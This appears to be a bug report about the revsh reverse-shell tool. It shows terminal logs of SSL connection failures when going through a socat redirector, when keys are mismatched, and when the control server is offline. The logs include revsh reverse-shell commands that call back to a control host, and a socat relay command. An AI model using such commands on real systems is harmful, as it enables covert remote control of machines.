SSL_connect

[steave-r0gers]

1. Connecting to TCP redirector (socat) or any another TCP port:

Control:
# socat TCP-LISTEN:2200,fork TCP:192.168.1.3:2200
2018/10/12 12:02:31 socat[17645] E connect(5, AF=2 192.168.1.3:2200, 16): Connection refused
where 192.168.1.3:2200 closed port

Target:
# ./revsh -vv 192.168.1.2 -k -r 5,10 -t 0
Connecting to 192.168.1.2:2200...	Connected!
init_io_target(): SSL_connect(8b62f50): Success
do_target(): init_io_connect(8b4f760): Success

2. If connect to revsh server with different keys (control_key.pem target_key.pem target_cert.pem):

Target:
# ./revsh -vv 192.168.1.2 -k -r 5,10 -t 0
Connecting to 192.168.1.2:2200...	Connected!
negotiate_protocol(): io->remote_read(bfc2e1de, 2): Success
do_target(): negotiate_protocol(): Success

Control:
Listening on 0.0.0.0:2200...Listening on 0.0.0.0:2200...Listening on 0.0.0.0:2200...

3. If revsh on server side in offline, trying connect from client:

# ./revsh -vv 192.168.1.2 -k -r 5,10 -t 0
Connecting to  192.168.1.2:2200...init_io_target(): BIO_do_connect(8540cb8): Connection refused
0:error:0200206F:system library:connect:Connection refused:crypto/bio/b_sock2.c:110:
0:error:2008A067:BIO routines:BIO_connect:connect error:crypto/bio/b_sock2.c:111:
0:error:0200206F:system library:connect:Connection refused:crypto/bio/bss_conn.c:173:hostname=192.168.1.2 service=2200
0:error:20073067:BIO routines:conn_state:connect error:crypto/bio/bss_conn.c:177:
Retrying in 7 seconds...
Connecting to 192.168.1.2:2200...init_io_target(): BIO_do_connect(853eb40): Connection refused
0:error:0200206F:system library:connect:Connection refused:crypto/bio/b_sock2.c:110:
0:error:2008A067:BIO routines:BIO_connect:connect error:crypto/bio/b_sock2.c:111:
0:error:0200206F:system library:connect:Connection refused:crypto/bio/bss_conn.c:173:hostname=192.168.1.2 service=2200
0:error:20073067:BIO routines:conn_state:connect error:crypto/bio/bss_conn.c:177:
Retrying in 5 seconds...
Connecting to 192.168.1.2:2200...init_io_target(): BIO_do_connect(8540c28): Connection refused
0:error:0200206F:system library:connect:Connection refused:crypto/bio/b_sock2.c:110:
0:error:2008A067:BIO routines:BIO_connect:connect error:crypto/bio/b_sock2.c:111:
0:error:0200206F:system library:connect:Connection refused:crypto/bio/bss_conn.c:173:hostname=192.168.1.2 service=2200
0:error:20073067:BIO routines:conn_state:connect error:crypto/bio/bss_conn.c:177:
Retrying in 6 seconds...

revsh info:
default config, no changes in source code
Debian wheezy x86